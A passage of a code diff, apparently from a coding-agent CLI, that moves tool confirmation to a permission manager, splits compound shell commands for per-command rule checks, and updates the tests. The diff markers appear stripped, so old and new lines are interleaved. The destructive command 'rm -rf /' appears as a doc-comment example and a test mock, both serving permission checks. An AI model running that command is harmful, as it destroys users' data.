* by splitting on unquoted shell operators (&&, ||, ;, |, etc.).
*
* Returns an array of trimmed simple command strings.
* For simple commands (no operators), returns a single-element array.
*
* Examples:
* "git status && rm -rf /" "git status"
* "ls -la | grep foo" "ls -la"
* "echo 'a && b'" "echo 'a && b'" (inside quotes)
* "git status && rm -rf /" ["git status", "rm -rf /"]
* "ls -la | grep foo" ["ls -la", "grep foo"]
* "echo 'a && b'" ["echo 'a && b'"] (inside quotes)
* "a && b || c" ["a", "b", "c"]
*/
function extractFirstCommand(command: string): string {
export function splitCompoundCommand(command: string): string[] {
const commands: string[] = [];
let inSingle = false;
let inDouble = false;
let escaped = false;
let lastSplit = 0;
for (let i = 0; i < command.length; i++) {
const ch = command[i]!;
@ -305,12 +310,24 @@ function extractFirstCommand(command: string): string {
// Check for shell operators (longest match first)
for (const op of SHELL_OPERATORS) {
if (command.substring(i, i + op.length) === op) {
return command.substring(0, i).trimEnd();
const segment = command.substring(lastSplit, i).trim();
if (segment) {
commands.push(segment);
}
lastSplit = i + op.length;
i = lastSplit - 1; // -1 because the loop will i++
break;
}
}
}
return command;
// Add the last segment
const lastSegment = command.substring(lastSplit).trim();
if (lastSegment) {
commands.push(lastSegment);
}
return commands.length > 0 ? commands : [command];
}
/**
@ -336,8 +353,8 @@ export function matchesCommandPattern(
pattern: string,
command: string,
): boolean {
// Extract only the first simple command (operator awareness)
const firstCmd = extractFirstCommand(command);
// This function matches a single pattern against a single simple command.
// Compound command splitting is handled by the caller (PermissionManager).
// Special case: lone `*` matches any single command
if (pattern === '*') {
@ -348,7 +365,7 @@ export function matchesCommandPattern(
// No wildcards: prefix matching (backward compat).
// "git commit" matches "git commit" and "git commit -m test"
// but NOT "gitcommit".
return firstCmd === pattern || firstCmd.startsWith(pattern + ' ');
return command === pattern || command.startsWith(pattern + ' ');
}
// Build regex from glob pattern with word-boundary semantics.
@ -397,9 +414,9 @@ export function matchesCommandPattern(
regex += '$';
try {
return new RegExp(regex).test(firstCmd);
return new RegExp(regex).test(command);
} catch {
return firstCmd === pattern;
return command === pattern;
}
}
@ -622,6 +639,7 @@ export function matchesRule(
filePath?: string,
domain?: string,
pathContext?: PathMatchContext,
specifier?: string,
): boolean {
const canonicalCtxToolName = resolveToolName(toolName);
@ -679,9 +697,10 @@ export function matchesRule(
case 'literal':
default: {
// Literal/exact matching (for Agent subagent names, etc.)
if (command !== undefined) {
return command === rule.specifier;
// Literal/exact matching (for Skill names, Agent subagent types, etc.)
const value = command ?? specifier;
if (value !== undefined) {
return value === rule.specifier;
}
return false;
}

View file

@ -93,6 +93,12 @@ export interface PermissionCheckContext {
* The domain being fetched (only for WebFetch).
*/
domain?: string;
/**
* A generic specifier for literal matching (e.g. skill name for Skill,
* subagent type for Task/Agent). Used when the rule has a literal
* specifier that doesn't fall into command/path/domain categories.
*/
specifier?: string;
}
/** A rule with its type and source scope, used for listing rules. */

View file

@ -316,7 +316,8 @@ describe('subagent.ts', () => {
name: 'risky_tool',
schema: { parametersJsonSchema: { type: 'object', properties: {} } },
build: vi.fn().mockReturnValue({
shouldConfirmExecute: vi.fn().mockResolvedValue({
getDefaultPermission: vi.fn().mockResolvedValue('ask'),
getConfirmationDetails: vi.fn().mockResolvedValue({
type: 'exec',
title: 'Confirm',
command: 'rm -rf /',
@ -347,7 +348,7 @@ describe('subagent.ts', () => {
name: 'safe_tool',
schema: { parametersJsonSchema: { type: 'object', properties: {} } },
build: vi.fn().mockReturnValue({
shouldConfirmExecute: vi.fn().mockResolvedValue(null),
getDefaultPermission: vi.fn().mockResolvedValue('allow'),
}),
};
const { config } = await createMockConfig({
@ -722,7 +723,7 @@ describe('subagent.ts', () => {
params: { path: '.' },
getDescription: vi.fn().mockReturnValue('List files'),
toolLocations: vi.fn().mockReturnValue([]),
shouldConfirmExecute: vi.fn().mockResolvedValue(false),
getDefaultPermission: vi.fn().mockResolvedValue('allow'),
execute: vi.fn().mockResolvedValue({
llmContent: 'file1.txt\nfile2.ts',
returnDisplay: 'Listed 2 files',
@ -1056,7 +1057,7 @@ describe('subagent.ts', () => {
params: { path: 'test.txt' },
getDescription: vi.fn().mockReturnValue('Read file'),
toolLocations: vi.fn().mockReturnValue([]),
shouldConfirmExecute: vi.fn().mockResolvedValue(false),
getDefaultPermission: vi.fn().mockResolvedValue('allow'),
execute: vi.fn().mockImplementation(async () => {
executedTools.push('read_file');
return {
@ -1070,7 +1071,7 @@ describe('subagent.ts', () => {
params: { path: 'test.txt', content: 'malicious content' },
getDescription: vi.fn().mockReturnValue('Edit file'),
toolLocations: vi.fn().mockReturnValue([]),
shouldConfirmExecute: vi.fn().mockResolvedValue(false),
getDefaultPermission: vi.fn().mockResolvedValue('allow'),
execute: vi.fn().mockImplementation(async () => {
executedTools.push('edit_file');
return {

View file

@ -22,6 +22,8 @@ export function getDecisionFromOutcome(
case ToolConfirmationOutcome.ProceedAlways:
case ToolConfirmationOutcome.ProceedAlwaysServer:
case ToolConfirmationOutcome.ProceedAlwaysTool:
case ToolConfirmationOutcome.ProceedAlwaysProject:
case ToolConfirmationOutcome.ProceedAlwaysUser:
return ToolCallDecision.AUTO_ACCEPT;
case ToolConfirmationOutcome.ModifyWithEditor:
return ToolCallDecision.MODIFY;

View file

@ -13,6 +13,7 @@ import type {
ToolInvocation,
ToolResult,
} from '../tools/tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
@ -25,10 +26,10 @@ interface MockToolOptions {
description?: string;
canUpdateOutput?: boolean;
isOutputMarkdown?: boolean;
shouldConfirmExecute?: (
params: { [key: string]: unknown },
getDefaultPermission?: () => Promise<PermissionDecision>;
getConfirmationDetails?: (
signal: AbortSignal,
) => Promise<ToolCallConfirmationDetails | false>;
) => Promise<ToolCallConfirmationDetails>;
execute?: (
params: { [key: string]: unknown },
signal?: AbortSignal,
@ -59,10 +60,14 @@ class MockToolInvocation extends BaseToolInvocation<
}
}
override shouldConfirmExecute(
override getDefaultPermission(): Promise<PermissionDecision> {
return this.tool.getDefaultPermission();
}
override getConfirmationDetails(
abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
return this.tool.shouldConfirmExecute(this.params, abortSignal);
): Promise<ToolCallConfirmationDetails> {
return this.tool.getConfirmationDetails(abortSignal);
}
getDescription(): string {
@ -77,10 +82,10 @@ export class MockTool extends BaseDeclarativeTool<
{ [key: string]: unknown },
ToolResult
> {
shouldConfirmExecute: (
params: { [key: string]: unknown },
getDefaultPermission: () => Promise<PermissionDecision>;
getConfirmationDetails: (
signal: AbortSignal,
) => Promise<ToolCallConfirmationDetails | false>;
) => Promise<ToolCallConfirmationDetails>;
execute: (
params: { [key: string]: unknown },
signal?: AbortSignal,
@ -98,10 +103,22 @@ export class MockTool extends BaseDeclarativeTool<
options.canUpdateOutput ?? false,
);
if (options.shouldConfirmExecute) {
this.shouldConfirmExecute = options.shouldConfirmExecute;
if (options.getDefaultPermission) {
this.getDefaultPermission = options.getDefaultPermission;
} else {
this.shouldConfirmExecute = () => Promise.resolve(false);
this.getDefaultPermission = () =>
Promise.resolve('allow' as PermissionDecision);
}
if (options.getConfirmationDetails) {
this.getConfirmationDetails = options.getConfirmationDetails;
} else {
this.getConfirmationDetails = () => {
throw new Error(
`${this.name} returned 'ask' from getDefaultPermission() ` +
`but does not implement getConfirmationDetails().`,
);
};
}
if (options.execute) {
@ -122,7 +139,10 @@ export class MockTool extends BaseDeclarativeTool<
}
}
export const MOCK_TOOL_SHOULD_CONFIRM_EXECUTE = () =>
export const MOCK_TOOL_GET_DEFAULT_PERMISSION = () =>
Promise.resolve('ask' as PermissionDecision);
export const MOCK_TOOL_GET_CONFIRMATION_DETAILS = () =>
Promise.resolve({
type: 'exec' as const,
title: 'Confirm mockTool',
@ -152,22 +172,23 @@ export class MockModifiableToolInvocation extends BaseToolInvocation<
);
}
override async shouldConfirmExecute(
override async getDefaultPermission(): Promise<PermissionDecision> {
return this.tool.shouldConfirm ? 'ask' : 'allow';
}
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
if (this.tool.shouldConfirm) {
return {
type: 'edit',
title: 'Confirm Mock Tool',
fileName: 'test.txt',
filePath: 'test.txt',
fileDiff: 'diff',
originalContent: 'originalContent',
newContent: 'newContent',
onConfirm: async () => {},
};
}
return false;
): Promise<ToolCallConfirmationDetails> {
return {
type: 'edit',
title: 'Confirm Mock Tool',
fileName: 'test.txt',
filePath: 'test.txt',
fileDiff: 'diff',
originalContent: 'originalContent',
newContent: 'newContent',
onConfirm: async () => {},
};
}
getDescription(): string {

View file

@ -243,7 +243,7 @@ describe('EditTool', () => {
});
});
describe('shouldConfirmExecute', () => {
describe('getConfirmationDetails', () => {
const testFile = 'edit_me.txt';
let filePath: string;
@ -268,7 +268,7 @@ describe('EditTool', () => {
new_string: 'new',
};
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).toEqual(
@ -280,7 +280,7 @@ describe('EditTool', () => {
);
});
it('should return false if old_string is not found', async () => {
it('should throw if old_string is not found', async () => {
fs.writeFileSync(filePath, 'some content here');
const params: EditToolParams = {
file_path: filePath,
@ -288,13 +288,12 @@ describe('EditTool', () => {
new_string: 'new',
};
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).toBe(false);
await expect(
invocation.getConfirmationDetails(new AbortController().signal),
).rejects.toThrow();
});
it('should return false if multiple occurrences of old_string are found', async () => {
it('should throw if multiple occurrences of old_string are found', async () => {
fs.writeFileSync(filePath, 'old old content here');
const params: EditToolParams = {
file_path: filePath,
@ -302,10 +301,9 @@ describe('EditTool', () => {
new_string: 'new',
};
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).toBe(false);
await expect(
invocation.getConfirmationDetails(new AbortController().signal),
).rejects.toThrow();
});
it('should request confirmation for creating a new file (empty old_string)', async () => {
@ -317,7 +315,7 @@ describe('EditTool', () => {
new_string: 'new file content',
};
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).toEqual(
@ -351,7 +349,7 @@ describe('EditTool', () => {
});
await expect(
invocation.shouldConfirmExecute(abortController.signal),
invocation.getConfirmationDetails(abortController.signal),
).rejects.toBe(abortError);
calculateSpy.mockRestore();
@ -916,7 +914,7 @@ describe('EditTool', () => {
});
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);

View file

@ -14,6 +14,7 @@ import type {
ToolLocation,
ToolResult,
} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import { BaseDeclarativeTool, Kind, ToolConfirmationOutcome } from './tools.js';
import { ToolErrorType } from './tool-error.js';
import { makeRelative, shortenPath } from '../utils/paths.js';
@ -35,7 +36,6 @@ import type {
} from './modifiable-tool.js';
import { IdeClient } from '../ide/ide-client.js';
import { safeLiteralReplace } from '../utils/textUtils.js';
import { createDebugLogger } from '../utils/debugLogger.js';
import {
countOccurrences,
extractEditSnippet,
@ -43,8 +43,6 @@ import {
normalizeEditStrings,
} from '../utils/editHelper.js';
const debugLogger = createDebugLogger('EDIT');
export function applyReplacement(
currentContent: string | null,
oldString: string,
@ -242,16 +240,18 @@ class EditToolInvocation implements ToolInvocation<EditToolParams, ToolResult> {
}
/**
* Handles the confirmation prompt for the Edit tool in the CLI.
* It needs to calculate the diff to show the user.
* Edit operations always need user confirmation (unless overridden by PM or ApprovalMode).
*/
async shouldConfirmExecute(
abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
if (this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT) {
return false;
}
async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
/**
* Constructs the edit diff confirmation details.
*/
async getConfirmationDetails(
abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails> {
let editData: CalculatedEdit;
try {
editData = await this.calculateEdit(this.params);
@ -260,13 +260,11 @@ class EditToolInvocation implements ToolInvocation<EditToolParams, ToolResult> {
throw error;
}
const errorMsg = error instanceof Error ? error.message : String(error);
debugLogger.warn(`Error preparing edit: ${errorMsg}`);
return false;
throw new Error(`Error preparing edit: ${errorMsg}`);
}
if (editData.error) {
debugLogger.warn(`Error: ${editData.error.display}`);
return false;
throw new Error(`Edit error: ${editData.error.display}`);
}
const fileName = path.basename(this.params.file_path);
@ -300,8 +298,6 @@ class EditToolInvocation implements ToolInvocation<EditToolParams, ToolResult> {
if (ideConfirmation) {
const result = await ideConfirmation;
if (result.status === 'accepted' && result.content) {
// TODO(chrstn): See https://github.com/google-gemini/gemini-cli/pull/5618#discussion_r2255413084
// for info on a possible race condition where the file is modified on disk while being edited.
this.params.old_string = editData.currentContent ?? '';
this.params.new_string = result.content;
}

View file

@ -119,7 +119,9 @@ describe('ExitPlanModeTool', () => {
expect(invocation).toBeDefined();
expect(invocation.params).toEqual(params);
const confirmation = await invocation.shouldConfirmExecute(signal);
expect(await invocation.getDefaultPermission()).toBe('ask');
const confirmation = await invocation.getConfirmationDetails(signal);
expect(confirmation).toMatchObject({
type: 'plan',
title: 'Would you like to proceed?',
@ -154,7 +156,7 @@ describe('ExitPlanModeTool', () => {
const signal = new AbortController().signal;
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(signal);
const confirmation = await invocation.getConfirmationDetails(signal);
if (confirmation) {
expect(confirmation.type).toBe('plan');
@ -178,7 +180,7 @@ describe('ExitPlanModeTool', () => {
const signal = new AbortController().signal;
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(signal);
const confirmation = await invocation.getConfirmationDetails(signal);
if (confirmation) {
await confirmation.onConfirm(ToolConfirmationOutcome.Cancel);

View file

@ -5,6 +5,7 @@
*/
import type { ToolPlanConfirmationDetails, ToolResult } from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
@ -66,7 +67,14 @@ class ExitPlanModeToolInvocation extends BaseToolInvocation<
return 'Plan:';
}
override async shouldConfirmExecute(
/**
* Plan mode exit always requires user confirmation.
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolPlanConfirmationDetails> {
const details: ToolPlanConfirmationDetails = {

View file

@ -85,9 +85,6 @@ describe('DiscoveredMCPTool', () => {
baseDescription,
inputSchema,
);
// Clear allowlist before each relevant test, especially for shouldConfirmExecute
const invocation = tool.build({ param: 'mock' }) as any;
invocation.constructor.allowlist.clear();
});
afterEach(() => {
@ -734,8 +731,8 @@ describe('DiscoveredMCPTool', () => {
});
});
describe('shouldConfirmExecute', () => {
it('should return false if trust is true', async () => {
describe('getDefaultPermission and getConfirmationDetails', () => {
it('should return ask even if trust is true and folder is trusted (trust logic moved to PM)', async () => {
const trustedTool = new DiscoveredMCPTool(
mockCallableToolInstance,
serverName,
@ -747,159 +744,67 @@ describe('DiscoveredMCPTool', () => {
{ isTrustedFolder: () => true } as any,
);
const invocation = trustedTool.build({ param: 'mock' });
expect(
await invocation.shouldConfirmExecute(new AbortController().signal),
).toBe(false);
expect(await invocation.getDefaultPermission()).toBe('ask');
});
it('should return false if server is allowlisted', async () => {
const invocation = tool.build({ param: 'mock' }) as any;
invocation.constructor.allowlist.add(serverName);
expect(
await invocation.shouldConfirmExecute(new AbortController().signal),
).toBe(false);
});
it('should return false if tool is allowlisted', async () => {
const toolAllowlistKey = `${serverName}.${serverToolName}`;
const invocation = tool.build({ param: 'mock' }) as any;
invocation.constructor.allowlist.add(toolAllowlistKey);
expect(
await invocation.shouldConfirmExecute(new AbortController().signal),
).toBe(false);
});
it('should return confirmation details if not trusted and not allowlisted', async () => {
it('should return ask if not trusted', async () => {
const invocation = tool.build({ param: 'mock' });
const confirmation = await invocation.shouldConfirmExecute(
expect(await invocation.getDefaultPermission()).toBe('ask');
});
it('should return confirmation details when permission is ask', async () => {
const invocation = tool.build({ param: 'mock' });
expect(await invocation.getDefaultPermission()).toBe('ask');
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
if (confirmation && confirmation.type === 'mcp') {
// Type guard for ToolMcpConfirmationDetails
expect(confirmation.type).toBe('mcp');
expect(confirmation.type).toBe('mcp');
if (confirmation.type === 'mcp') {
expect(confirmation.serverName).toBe(serverName);
expect(confirmation.toolName).toBe(serverToolName);
} else if (confirmation) {
// Handle other possible confirmation types if necessary, or strengthen test if only MCP is expected
throw new Error(
'Confirmation was not of expected type MCP or was false',
);
} else {
throw new Error(
'Confirmation details not in expected format or was false',
);
}
});
it('should add server to allowlist on ProceedAlwaysServer', async () => {
const invocation = tool.build({ param: 'mock' }) as any;
const confirmation = await invocation.shouldConfirmExecute(
it('should have onConfirm as a no-op', async () => {
const invocation = tool.build({ param: 'mock' });
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
expect(confirmation).toHaveProperty('onConfirm');
if (
confirmation &&
typeof confirmation === 'object' &&
'onConfirm' in confirmation &&
typeof confirmation.onConfirm === 'function'
) {
// onConfirm should not throw for any outcome
await confirmation.onConfirm(
ToolConfirmationOutcome.ProceedAlwaysServer,
ToolConfirmationOutcome.ProceedAlwaysProject,
);
expect(invocation.constructor.allowlist.has(serverName)).toBe(true);
} else {
throw new Error(
'Confirmation details or onConfirm not in expected format',
);
}
});
it('should add tool to allowlist on ProceedAlwaysTool', async () => {
const toolAllowlistKey = `${serverName}.${serverToolName}`;
const invocation = tool.build({ param: 'mock' }) as any;
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
if (
confirmation &&
typeof confirmation === 'object' &&
'onConfirm' in confirmation &&
typeof confirmation.onConfirm === 'function'
) {
await confirmation.onConfirm(ToolConfirmationOutcome.ProceedAlwaysTool);
expect(invocation.constructor.allowlist.has(toolAllowlistKey)).toBe(
true,
);
} else {
throw new Error(
'Confirmation details or onConfirm not in expected format',
);
}
});
it('should handle Cancel confirmation outcome', async () => {
const invocation = tool.build({ param: 'mock' }) as any;
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
if (
confirmation &&
typeof confirmation === 'object' &&
'onConfirm' in confirmation &&
typeof confirmation.onConfirm === 'function'
) {
// Cancel should not add anything to allowlist
await confirmation.onConfirm(ToolConfirmationOutcome.ProceedAlwaysUser);
await confirmation.onConfirm(ToolConfirmationOutcome.Cancel);
expect(invocation.constructor.allowlist.has(serverName)).toBe(false);
expect(
invocation.constructor.allowlist.has(
`${serverName}.${serverToolName}`,
),
).toBe(false);
} else {
throw new Error(
'Confirmation details or onConfirm not in expected format',
);
await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce);
}
});
it('should handle ProceedOnce confirmation outcome', async () => {
const invocation = tool.build({ param: 'mock' }) as any;
const confirmation = await invocation.shouldConfirmExecute(
it('should include permissionRules with mcp__server__tool format', async () => {
const invocation = tool.build({ param: 'mock' });
const confirmation = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
if (
confirmation &&
typeof confirmation === 'object' &&
'onConfirm' in confirmation &&
typeof confirmation.onConfirm === 'function'
) {
// ProceedOnce should not add anything to allowlist
await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce);
expect(invocation.constructor.allowlist.has(serverName)).toBe(false);
expect(
invocation.constructor.allowlist.has(
`${serverName}.${serverToolName}`,
),
).toBe(false);
} else {
throw new Error(
'Confirmation details or onConfirm not in expected format',
);
expect(confirmation.type).toBe('mcp');
if (confirmation.type === 'mcp') {
expect(confirmation.permissionRules).toEqual([
`mcp__${serverName}__${serverToolName}`,
]);
}
});
});
describe('shouldConfirmExecute with folder trust', () => {
describe('getDefaultPermission with folder trust', () => {
const mockConfig = (isTrusted: boolean | undefined) => ({
isTrustedFolder: () => isTrusted,
});
it('should return false if trust is true and folder is trusted', async () => {
it('should return ask even if trust is true and folder is trusted (trust logic moved to PM)', async () => {
const trustedTool = new DiscoveredMCPTool(
mockCallableToolInstance,
serverName,
@ -911,12 +816,10 @@ describe('DiscoveredMCPTool', () => {
mockConfig(true) as any, // isTrustedFolder = true
);
const invocation = trustedTool.build({ param: 'mock' });
expect(
await invocation.shouldConfirmExecute(new AbortController().signal),
).toBe(false);
expect(await invocation.getDefaultPermission()).toBe('ask');
});
it('should return confirmation details if trust is true but folder is not trusted', async () => {
it('should return ask if trust is true but folder is not trusted', async () => {
const trustedTool = new DiscoveredMCPTool(
mockCallableToolInstance,
serverName,
@ -928,14 +831,10 @@ describe('DiscoveredMCPTool', () => {
mockConfig(false) as any, // isTrustedFolder = false
);
const invocation = trustedTool.build({ param: 'mock' });
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
expect(confirmation).toHaveProperty('type', 'mcp');
expect(await invocation.getDefaultPermission()).toBe('ask');
});
it('should return confirmation details if trust is false, even if folder is trusted', async () => {
it('should return ask if trust is false, even if folder is trusted', async () => {
const untrustedTool = new DiscoveredMCPTool(
mockCallableToolInstance,
serverName,
@ -947,11 +846,7 @@ describe('DiscoveredMCPTool', () => {
mockConfig(true) as any, // isTrustedFolder = true
);
const invocation = untrustedTool.build({ param: 'mock' });
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
expect(confirmation).toHaveProperty('type', 'mcp');
expect(await invocation.getDefaultPermission()).toBe('ask');
});
});

View file

@ -13,12 +13,13 @@ import type {
ToolResultDisplay,
ToolConfirmationPayload,
McpToolProgressData,
} from './tools.js';
ToolConfirmationOutcome} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
Kind,
ToolConfirmationOutcome,
Kind
} from './tools.js';
import type { CallableTool, FunctionCall, Part } from '@google/genai';
import { ToolErrorType } from './tool-error.js';
@ -110,8 +111,6 @@ class DiscoveredMCPToolInvocation extends BaseToolInvocation<
ToolParams,
ToolResult
> {
private static readonly allowlist: Set<string> = new Set();
constructor(
private readonly mcpTool: CallableTool,
readonly serverName: string,
@ -119,7 +118,7 @@ class DiscoveredMCPToolInvocation extends BaseToolInvocation<
readonly displayName: string,
readonly trust?: boolean,
params: ToolParams = {},
private readonly cliConfig?: Config,
_cliConfig?: Config,
private readonly mcpClient?: McpDirectClient,
private readonly mcpTimeout?: number,
private readonly annotations?: McpToolAnnotations,
@ -127,44 +126,43 @@ class DiscoveredMCPToolInvocation extends BaseToolInvocation<
super(params);
}
override async shouldConfirmExecute(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
const serverAllowListKey = this.serverName;
const toolAllowListKey = `${this.serverName}.${this.serverToolName}`;
if (this.cliConfig?.isTrustedFolder() && this.trust) {
return false; // server is trusted, no confirmation needed
}
// MCP tools annotated with readOnlyHint: true are safe to execute
// without confirmation, especially important for plan mode support
/**
* MCP tool default permission based on annotations:
* - readOnlyHint 'allow'
* - All other MCP tools 'ask'
*
* Note: trust/isTrustedFolder logic is now handled by PM rules,
* not by getDefaultPermission().
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
// MCP tools annotated with readOnlyHint: true are safe
if (this.annotations?.readOnlyHint === true) {
return false;
return 'allow';
}
return 'ask';
}
if (
DiscoveredMCPToolInvocation.allowlist.has(serverAllowListKey) ||
DiscoveredMCPToolInvocation.allowlist.has(toolAllowListKey)
) {
return false; // server and/or tool already allowlisted
}
/**
* Constructs confirmation dialog details for an MCP tool call.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails> {
// Construct the permission rule for this specific MCP tool.
const permissionRule = `mcp__${this.serverName}__${this.serverToolName}`;
const confirmationDetails: ToolMcpConfirmationDetails = {
type: 'mcp',
title: 'Confirm MCP Tool Execution',
serverName: this.serverName,
toolName: this.serverToolName, // Display original tool name in confirmation
toolDisplayName: this.displayName, // Display global registry name exposed to model and user
toolName: this.serverToolName,
toolDisplayName: this.displayName,
permissionRules: [permissionRule],
onConfirm: async (
outcome: ToolConfirmationOutcome,
_outcome: ToolConfirmationOutcome,
_payload?: ToolConfirmationPayload,
) => {
if (outcome === ToolConfirmationOutcome.ProceedAlwaysServer) {
DiscoveredMCPToolInvocation.allowlist.add(serverAllowListKey);
} else if (outcome === ToolConfirmationOutcome.ProceedAlwaysTool) {
DiscoveredMCPToolInvocation.allowlist.add(toolAllowListKey);
}
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return confirmationDetails;

View file

@ -315,29 +315,34 @@ describe('MemoryTool', () => {
});
});
describe('shouldConfirmExecute', () => {
describe('getDefaultPermission and getConfirmationDetails', () => {
let memoryTool: MemoryTool;
beforeEach(() => {
memoryTool = new MemoryTool();
// Mock fs.readFile to return empty string (file doesn't exist)
vi.mocked(fs.readFile).mockResolvedValue('');
// Clear allowlist before each test to ensure clean state
const invocation = memoryTool.build({ fact: 'test', scope: 'global' });
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(invocation.constructor as any).allowlist.clear();
});
it('should return confirmation details when memory file is not allowlisted for global scope', async () => {
it('should always return ask from getDefaultPermission', async () => {
const params = { fact: 'Test fact', scope: 'global' as const };
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
});
it('should return confirmation details for global scope', async () => {
const params = { fact: 'Test fact', scope: 'global' as const };
const invocation = memoryTool.build(params);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
const result = await invocation.getConfirmationDetails(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
if (result.type === 'edit') {
const expectedPath = path.join('~', '.qwen', 'QWEN.md');
expect(result.title).toBe(
`Confirm Memory Save: ${expectedPath} (global)`,
@ -353,15 +358,17 @@ describe('MemoryTool', () => {
}
});
it('should return confirmation details when memory file is not allowlisted for project scope', async () => {
it('should return confirmation details for project scope', async () => {
const params = { fact: 'Test fact', scope: 'project' as const };
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
const result = await invocation.getConfirmationDetails(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
if (result.type === 'edit') {
const expectedPath = path.join(process.cwd(), 'QWEN.md');
expect(result.title).toBe(
`Confirm Memory Save: ${expectedPath} (project)`,
@ -376,121 +383,22 @@ describe('MemoryTool', () => {
}
});
it('should return false when memory file is already allowlisted for global scope', async () => {
it('should have no-op onConfirm callback', async () => {
const params = { fact: 'Test fact', scope: 'global' as const };
const memoryFilePath = path.join(
os.homedir(),
'.qwen',
getCurrentGeminiMdFilename(),
);
const invocation = memoryTool.build(params);
// Add the memory file to the allowlist with the scope-specific key format
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(invocation.constructor as any).allowlist.add(`${memoryFilePath}_global`);
const result = await invocation.getConfirmationDetails(mockAbortSignal);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
expect(result).toBe(false);
});
it('should return false when memory file is already allowlisted for project scope', async () => {
const params = { fact: 'Test fact', scope: 'project' as const };
const memoryFilePath = path.join(
process.cwd(),
getCurrentGeminiMdFilename(),
);
const invocation = memoryTool.build(params);
// Add the memory file to the allowlist with the scope-specific key format
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(invocation.constructor as any).allowlist.add(
`${memoryFilePath}_project`,
);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
expect(result).toBe(false);
});
it('should add memory file to allowlist when ProceedAlways is confirmed for global scope', async () => {
const params = { fact: 'Test fact', scope: 'global' as const };
const memoryFilePath = path.join(
os.homedir(),
'.qwen',
getCurrentGeminiMdFilename(),
);
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
// Simulate the onConfirm callback
await result.onConfirm(ToolConfirmationOutcome.ProceedAlways);
// Check that the memory file was added to the allowlist with the scope-specific key format
expect(
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(invocation.constructor as any).allowlist.has(
`${memoryFilePath}_global`,
),
).toBe(true);
}
});
it('should add memory file to allowlist when ProceedAlways is confirmed for project scope', async () => {
const params = { fact: 'Test fact', scope: 'project' as const };
const memoryFilePath = path.join(
process.cwd(),
getCurrentGeminiMdFilename(),
);
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
// Simulate the onConfirm callback
await result.onConfirm(ToolConfirmationOutcome.ProceedAlways);
// Check that the memory file was added to the allowlist with the scope-specific key format
expect(
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(invocation.constructor as any).allowlist.has(
`${memoryFilePath}_project`,
),
).toBe(true);
}
});
it('should not add memory file to allowlist when other outcomes are confirmed', async () => {
const params = { fact: 'Test fact', scope: 'global' as const };
const memoryFilePath = path.join(
os.homedir(),
'.qwen',
getCurrentGeminiMdFilename(),
);
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
